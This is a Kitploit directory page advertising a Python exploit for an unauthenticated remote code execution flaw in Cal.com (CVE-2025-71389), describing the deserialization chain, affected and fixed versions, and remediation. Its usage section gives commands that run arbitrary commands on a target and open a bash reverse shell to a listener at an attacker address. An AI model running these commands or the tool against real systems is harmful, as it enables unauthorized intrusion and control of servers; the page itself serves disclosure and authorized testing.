Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xdak/cve-2025-71389_exploit
Payload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub0xdak/cve-2025-71389_exploit

CVE-2025-71389_exploit

Python exploit for unauthenticated RCE in Cal.com (CVE-2025-71389) via React Server Components deserialization. Single request yields command execution or reverse shell.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-71389 — Cal.com Unauthenticated RCE (react2shell)

Unauthenticated remote code execution in Cal.com <= 5.9.8 via the React Server Components "Flight" deserialization flaw — "react2shell" (CVE-2025-55182 in React, CVE-2025-66478 in Next.js).

Cal.com bundles a vulnerable Next.js 15.x. A single unauthenticated POST / carrying a Next-Action header and a crafted multipart Flight payload walks a prototype-pollution chain (__proto__:then + constructor:constructor) into a server-side eval, reaching child_process.execSync. The command's output is returned inline in the RSC error digest field. No authentication, no user interaction — a single request is RCE.

  • Affected: Cal.com <= 5.9.8 (Next.js 15.x / 16.x App Router with RSC)
  • Fixed in: Cal.com 5.9.9 (bumps the bundled Next.js)
  • Default port: 3000
  • CWE: 502 / 94
  • Underlying: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)

Requirements

root@kitploit:~
pip install requests

Usage

root@kitploit:~
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'

# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444

The one-off command returns its output inline via the RSC error digest. The --shell mode fires a setsid-detached bash /dev/tcp reverse shell (the target's container is Debian and ships bash).

Remediation

Upgrade Cal.com to >= 5.9.9 (any patched Next.js: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7). Do not expose the RSC server-function handler to untrusted clients, and don't run the app container as root.

Disclaimer

For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.

Download Tool